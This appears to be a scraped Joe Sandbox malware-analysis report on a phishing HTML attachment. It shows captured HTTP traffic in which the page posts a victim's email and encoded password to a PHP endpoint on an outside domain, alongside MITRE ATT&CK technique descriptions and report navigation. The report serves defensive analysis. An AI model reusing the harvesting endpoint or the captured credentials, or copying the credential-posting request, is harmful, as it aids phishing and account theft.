Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	57719	172.67.210.51	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:04:31 UTC	639	OUT	POST /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive Content-Length: 56 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:04:31 UTC	56	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 63 61 72 6d 65 6e 40 73 74 65 69 6e 62 6f 72 6e 2e 63 6f 6d 26 70 61 73 73 3d 52 6e 56 6a 61 30 46 77 61 47 6c 7a 61 47 56 79 Data Ascii: do=login&user=carmen@steinborn.com&pass=RnVja0FwaGlzaGVy
2025-03-17 16:04:35 UTC	933	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMDCcyk1YjIVAFEcYSBd8NUz3tFoiYJihRP0EU%2Fr%2BBrQytjEUPi%2BRvCWvzqLxQPlr6lwUuUOt002h68OSrXQyZkZ8A0jl5zKqwlMv17aJEA4LssgQWD4aCPnwpp8rQAmL%2BO5HCsTrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921db9ff7b5a43d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2191&min_rtt=2177&rtt_var=845&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1289&delivery_rate=1274552&cwnd=216&unsent_bytes=0&cid=993b4c1271547a62&ts=4010&x=0"
2025-03-17 16:04:35 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-03-17 16:04:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.17	57721	104.21.91.45	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:04:35 UTC	394	OUT	GET /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:04:36 UTC	831	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ppa9FYjOb4wZMW9R7KEHZkCUhOSN6LWcAWJdRQupFEJhV%2BHq4EkF0SoFaanKOe7mM8zgE96qvlspq6to2RpT7s%2BokoC%2B%2FYhOJB74GG6ygEkxOCD%2BB%2FCfI%2FsvwRYx8P27ft13yd5tZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921dba1be926e5e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2540&min_rtt=2502&rtt_var=965&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=966&delivery_rate=1167066&cwnd=118&unsent_bytes=0&cid=419b6b313c9b0565&ts=356&x=0"
2025-03-17 16:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:03:16
Start date:	17/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VM(Carmen)52177372.mp4.html
Imagebase:	0x7ff643280000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:03:17
Start date:	17/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,16614817790951963497,9078325586780748719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3
Imagebase:	0x7ff643280000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VM(Carmen)52177372.mp4.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
VM(Carmen)52177372.mp4.html